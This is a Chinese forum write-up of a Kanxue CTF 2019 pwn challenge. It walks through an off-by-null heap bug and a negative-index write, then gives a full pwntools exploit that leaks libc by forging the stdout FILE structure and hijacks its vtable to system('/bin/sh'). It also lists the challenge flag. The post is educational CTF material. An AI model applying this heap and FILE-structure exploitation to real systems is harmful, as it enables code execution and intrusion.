首页
社区
课程
招聘
2
[原创]看雪CTF 2019Q3 第四题 卧薪尝胆
发表于: 2019-9-21 16:07 4286

[原创]看雪CTF 2019Q3 第四题 卧薪尝胆

2019-9-21 16:07
4286

POC实际使用中发现,利用stdout实现任意读,当缓冲区中有数据时读出来的值不是期望的,多运行几次,缓冲区清空后就可以了

Unlink学习笔记(off-by-one null byte漏洞利用)
IO FILE 之任意读写
浅析IO_FILE结构及利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // eax
 
  f_set_hook_E4C();                             // 保存__malloc_hook和__free_hook
  puts("Welcome kctf 2019,you pwn like hsy!");
  while ( 1 )
  {
    while ( 1 )
    {
      f_menu_DDD();                             // 打印选项
      v3 = f_get_char_num_C81();
      if ( v3 != 2 )
        break;
      f_delete_FC0();                           // 删除
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        f_edit_1084();                          // 编辑
      }
      else
      {
        if ( v3 == 4 )
          exit(0);
LABEL_13:
        puts("Invalid choice");
      }
    }
    else
    {
      if ( v3 != 1 )
        goto LABEL_13;
      f_add_EC3();                              // 增加
    }
  }
}
// 编辑函数
unsigned __int64 f_edit_1084()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]
 
  v2 = __readfsqword(0x28u);
  printf("Input idx : ");
  v1 = f_get_char_num_C81();
  if ( !LODWORD(g_heap_arr_202080[2 * v1]) )
    exit(1);
  printf("Input text : ");
  sub_D22((char *)g_heap_arr_202080[2 * v1 + 1], g_heap_arr_202080[2 * v1]);
  return __readfsqword(0x28u) ^ v2;
}
char *__fastcall sub_D22(char *a1, int a2)
{
  char *result; // rax
  int i; // [rsp+1Ch] [rbp-14h]
  char s[8]; // [rsp+20h] [rbp-10h]
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]
 
  v5 = __readfsqword(0x28u);
  memset(s, 0, 8uLL);
  for ( i = 0; i < a2; ++i )
  {
    if ( read(0, s, 1uLL) <= 0 )
      exit(1);
    if ( s[0] == 0xA )
      break;
    a1[i] = s[0];
  }
  result = (char *)(unsigned int)i;
  if ( i == a2 )
  {
    result = &a1[i];
    *result = 0;   // off by null 溢出漏洞
  }
  return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// 在pwndbg中查看_IO_FILE结构体信息
pwndbg> p  *(struct _IO_FILE_plus *) stdout
$1 = {
file = {
 _flags = 0xfbad2887,
 _IO_read_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "",
 _IO_read_end = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "",
 _IO_read_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "",
 _IO_write_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "",
 _IO_write_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "",
 _IO_write_end = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "",
 _IO_buf_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "",
 _IO_buf_end = 0x7ffff7dd26a4 <_IO_2_1_stdout_+132> "",
 _IO_save_base = 0x0,
 _IO_backup_base = 0x0,
 _IO_save_end = 0x0,
 _markers = 0x0,
 _chain = 0x7ffff7dd18e0 <_IO_2_1_stdin_>,
 _fileno = 0x1,
 _flags2 = 0x0,
 _old_offset = 0xffffffffffffffff,
 _cur_column = 0x0,
 _vtable_offset = 0x0,
 _shortbuf = "",
 _lock = 0x7ffff7dd3780 <_IO_stdfile_1_lock>,
 _offset = 0xffffffffffffffff,
 _codecvt = 0x0,
 _wide_data = 0x7ffff7dd17a0 <_IO_wide_data_1>,
 _freeres_list = 0x0,
 _freeres_buf = 0x0,
 __pad5 = 0x0,
 _mode = 0xffffffff,
 _unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7dd06e0<_IO_file_jumps>
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
#!/usr/bin/env python
# coding: utf-8
 
from pwn import *
import os
 
# flag{4ca9ae5d7c835994cc62d34f92ef95ce}
 
#init
context.log_level = 'debug'
local=False
 
if local:
    env={"LD_PRELOAD":os.path.join(os.getcwd(),"/libc-2.23.so")}
    p = process("./pwn", env=env)
else:
    p = remote("154.8.174.214", 10001)
 
raw_input("Pause~\n")
 
offset_system = 0x0000000000045390
offset_IO_list_all = 0x00000000003C5520
#offset___libc_start_main_ret = 0x20830
#offset_dup2 = 0x00000000000f7970
#offset_read = 0x00000000000f7250
#offset_write = 0x00000000000f72b0
#offset_str_bin_sh = 0x18cd57
 
base_addr = 0
 
heap_addr = {}
 
def new_heap(len):
    p.recvuntil(">>")
    p.sendline("1")
    p.recvuntil("Input size : ")
    p.sendline(str(len))
    print 'create new heap:' , len
    p.recvuntil("heap ")
    num_str = p.recvuntil(" ", drop = True)
    print num_str
    p.recvuntil("0x")
    heap = p.recvuntil("\n", drop = True)
    print heap
    heap_addr[int(num_str)] = int(heap, 16)
 
def set_heap(idx,cont):
    p.sendline("3")
    p.recvuntil("Input idx : ")
    p.sendline(str(idx))
    p.recvuntil("Input text : ")
    p.send(cont)
    print 'set  text ' , idx,',cont = ',cont
 
def del_heap(idx):
    print 'del_heap ' , idx
    p.recvuntil(">>")
    p.sendline("2")
    p.recvuntil("Input idx : ")
    p.sendline(str(idx))
 
 
new_heap(0xf8) # 0: buf
new_heap(0xf8) # 1: unlink target
new_heap(0xf8) # 2: free target
new_heap(0xf8) # 3: avoid consolidate with top chunk
new_heap(0xf8) # 4: vtable
 
print("Get All Addr:")
print(heap_addr)
 
# 前8位设成0,为了过这一句 puts+83: cmpxchg [rdx], esi
payload = p64(0) + p64(0xf1) + p64(heap_addr[1]) + p64(heap_addr[1]) + '\x0a'
set_heap(0, payload)
# 制造 unsorted bin
payload = p64(0x110) + p64(0xf1) + p64(heap_addr[0]) + p64(heap_addr[0]) + 'a' * 0xd0 + p64(0xf0)
set_heap(1, payload)
del_heap(2)
 
# 泄露地址
payload  = p64(0xfbad8800)
payload += p64(heap_addr[0]+8) # _IO_read_ptr
payload += p64(heap_addr[1]+0x10) # _IO_read_end
payload += p64(heap_addr[0]+8) # _IO_read_base
payload += p64(heap_addr[1]+0x10) # _IO_write_base
payload += p64(heap_addr[1]+0x10+8) # _IO_write_ptr
payload += p64(heap_addr[1]+0x10+8) # _IO_write_end
payload += p64(heap_addr[0]+8)            #   _IO_buf_base = 0x602060 "  `",
payload += p64(heap_addr[0]+8+1)            #   _IO_buf_end = 0x602061 " `",
 
set_heap(-6, payload)
 
p.sendline('q')
 
main_arena = u64(p.recv(8))-88
libc_base  = main_arena-0x3c4b20
libc_system = libc_base+offset_system
IO_list_all = libc_base+offset_IO_list_all
 
print('main_arena: 0x%08x\nlibc_base: 0x%08x\nlibc_system: 0x%08x\nIO_list_all: 0x%08x' %
    (main_arena, libc_base, libc_system, IO_list_all))
raw_input("Pause~\n")
 
# 修改回正常状态
payload  = p64(0xfbad2887)
payload += p64(heap_addr[0]+8) # _IO_read_ptr
payload += p64(heap_addr[0]+8) # _IO_read_end
payload += p64(heap_addr[0]+8) # _IO_read_base
payload += p64(heap_addr[0]+8) # _IO_write_base
payload += p64(heap_addr[0]+8) # _IO_write_ptr
payload += p64(heap_addr[0]+8) # _IO_write_end
payload += p64(heap_addr[0]+8)            #   _IO_buf_base = 0x602060 "  `",
payload += p64(heap_addr[0]+8+1)            #   _IO_buf_end = 0x602061 " `",
set_heap(-6, payload)
p.sendline('q')
 
# p.interactive()
# 制作假的 vtable
payload = p64(libc_system) + p64(libc_system) + p64(libc_system) + p64(libc_system) + p64(libc_system) + p64(libc_system) + p64(libc_system) + p64(libc_system) + '\x0a'
# 获取成功后就没有输出了,所以要手动输出
set_heap(4, payload)
#p.sendline("3")
#p.sendline(str(4))
#p.send(payload)
 
# 控制 vtable 指针                      # file = {
payload  = '/bin/sh\x00'                #   _flags = 0xfbad8000,
payload += p64(heap_addr[0]+8)            #   _IO_read_ptr = 0x602060 "  `",
payload += p64(heap_addr[1]+0x10)            #   _IO_read_end = 0x602060 "  `",
payload += p64(heap_addr[0]+8)            #   _IO_read_base = 0x602060 "  `",
payload += p64(heap_addr[1])            #   _IO_write_base = 0x602060 "  `",
payload += p64(heap_addr[1]+0x10)            #   _IO_write_ptr = 0x602060 "  `",
payload += p64(heap_addr[1]+0x10+8)            #   _IO_write_end = 0x602060 "  `",
payload += p64(heap_addr[1]+0x10)            #   _IO_buf_base = 0x602060 "  `",
payload += p64(heap_addr[1]+0x10+8)            #   _IO_buf_end = 0x602061 " `",
payload += p64(0)                       #   _IO_save_base = 0x0,
payload += p64(0)                       #   _IO_backup_base = 0x0,
payload += p64(0)                       #   _IO_save_end = 0x0,
payload += p64(0)                       #   _markers = 0x0,
payload += p64(heap_addr[0])            #   _chain = 0x602060,
payload += p64(1)                       #   _fileno = 0x1,
                                        #   _flags2 = 0x0,
payload += p64(0xffffffffffffffff)      #   _old_offset = 0xffffffffffffffff,
payload += p64(0)                       #   _cur_column = 0x0,
                                        #   _vtable_offset = 0x0,
                                        #   _shortbuf = "",
payload += p64(heap_addr[0])            #   _lock = 0x602060,
payload += p64(0xffffffffffffffff)      #   _offset = 0xffffffffffffffff,
payload += p64(0)                       #   _codecvt = 0x0,
payload += p64(heap_addr[0])            #   _wide_data = 0x602060,
payload += p64(0)                       #   _freeres_list = 0x0,
payload += p64(0)                       #   _freeres_buf = 0x0,
payload += p64(0)                       #   __pad5 = 0x0,
payload += p64(0x0000000000000000)      #   _mode = 0xffffffff,
                                        #   _unused2 = '\000' <repeats 19 times>
payload += p64(0)                       # },
payload += p64(0)                       #
payload += p64(heap_addr[4])            # vtable = 0x6021c8
 
set_heap(-6, payload)
#p.sendline("3")
#p.sendline(str(-6))
#p.send(payload)
 
raw_input("Success, press Enter~\n")
p.interactive()
 
p.close()

POC实际使用中发现,利用stdout实现任意读,当缓冲区中有数据时读出来的值不是期望的,多运行几次,缓冲区清空后就可以了

  • 设置_flag &~ _IO_NO_WRITES即_flag &~ 0x8。
  • 设置_flag & _IO_CURRENTLY_PUTTING即_flag | 0x800
  • 设置_fileno为1
  • 设置_IO_write_base指向想要泄露的地方;_IO_write_ptr指向泄露结束的地址
  • 设置_IO_read_end等于_IO_write_base或设置_flag & _IO_IS_APPENDING即_flag | 0x1000
  • 设置_IO_write_end等于_IO_write_ptr(非必须)
  • /bin/sh的内存数据恰好能通过对flag数据的验证
  • _lock指向的内存,前8字节必须为0,不然无法通过puts+83: cmpxchg [rdx], esi这句的验证,导致进入死锁状态
  1. 保护全开
    图片描述
  2. 功能为内存增加、删除、编辑
  3. 没有打印内存的函数,但是增加会主动打印malloc的地址
  4. 创建的内存块最大1023字节,按照8字节大小、8字节地址的格式保存在全局数据区,编辑与删除时没有检查输入为负数的情况
  5. 编辑操作中存在一个字节0的溢出,属于off by null溢出漏洞
  6. main函数中的第一个函数是hook并保存__malloc_hook__free_hook,在调用是恢复。在这里发现__malloc_hook__free_hook是存在于主模块中的,但是由于随机基址无法泄露,所以可以算作作者提示无法使用修改__free_hook的方式劫持流程
  7. 保存堆数据的全局数据区
    图片描述
  1. off by null溢出漏洞可以修改下一个堆头中数据中的前一个块是否使用,从而可以制造假的堆块来触发Unlink操作创建一个unsorted bin
  2. 因为在最初创建的时候打印了对地址,因此可以知道创建的unsorted bin的地址,而unsorted bin堆块数据中会保存main_arenalibc中的一个地址,由此可以算出libc的基址)
  3. 有了信息,现在要泄露出来,因为没有打印操作,所以只能把目光集中在编辑是没有检查负数的情况
    图片描述
  4. 观察上图,按照8字节大小、8字节地址的方式,编辑时向前溢出-6个,刚好可以修改stdout指向的内存,也就是_IO_FILE攻击了,控制stdout指向一个_IO_FILE结构的数据,修改其中指针,便可达到任意内存泄露的目的;
  5. _IO_FILE结构体中保存了一张虚表,puts函数会调用这张虚表中的函数,并且会把stdout的指针作为参数传给虚函数;恰好程序很多处都调用puts函数,于是可以把虚表内容劫持到system函数,把stdout指向的数据前面写上\bin\sh
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    // 在pwndbg中查看_IO_FILE结构体信息
    pwndbg> p  *(struct _IO_FILE_plus *) stdout
    $1 = {
    file = {
     _flags = 0xfbad2887,
     _IO_read_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "",
     _IO_read_end = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "",
     _IO_read_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "",
     _IO_write_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "",
     _IO_write_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "",
     _IO_write_end = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "",
     _IO_buf_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "",
     _IO_buf_end = 0x7ffff7dd26a4 <_IO_2_1_stdout_+132> "",
     _IO_save_base = 0x0,
     _IO_backup_base = 0x0,
     _IO_save_end = 0x0,
     _markers = 0x0,
     _chain = 0x7ffff7dd18e0 <_IO_2_1_stdin_>,
     _fileno = 0x1,
     _flags2 = 0x0,
     _old_offset = 0xffffffffffffffff,
     _cur_column = 0x0,
     _vtable_offset = 0x0,
     _shortbuf = "",
     _lock = 0x7ffff7dd3780 <_IO_stdfile_1_lock>,
     _offset = 0xffffffffffffffff,
     _codecvt = 0x0,
     _wide_data = 0x7ffff7dd17a0 <_IO_wide_data_1>,
     _freeres_list = 0x0,
     _freeres_buf = 0x0,
     __pad5 = 0x0,
     _mode = 0xffffffff,
     _unused2 = '\000' <repeats 19 times>
    },
    vtable = 0x7ffff7dd06e0<_IO_file_jumps>
    }
  • 保护全开
    图片描述
  • 功能为内存增加、删除、编辑
  • 没有打印内存的函数,但是增加会主动打印malloc的地址
  • 创建的内存块最大1023字节,按照8字节大小、8字节地址的格式保存在全局数据区,编辑与删除时没有检查输入为负数的情况
  • 编辑操作中存在一个字节0的溢出,属于off by null溢出漏洞

  • [培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

    最后于 2019-9-21 17:25 被KevinsBobo编辑 ,原因:
    上传的附件:
    收藏
    免费 2
    支持
    分享
    赞赏记录
    参与人
    雪币
    留言
    时间
    PLEBFE
    为你点赞~
    2023-1-22 04:51
    guyioo-
    为你点赞~
    2019-11-25 11:00
    最新回复 (0)
    游客
    登录 | 注册 方可回帖
    返回

    账号登录
    验证码登录

    忘记密码?
    没有账号?立即免费注册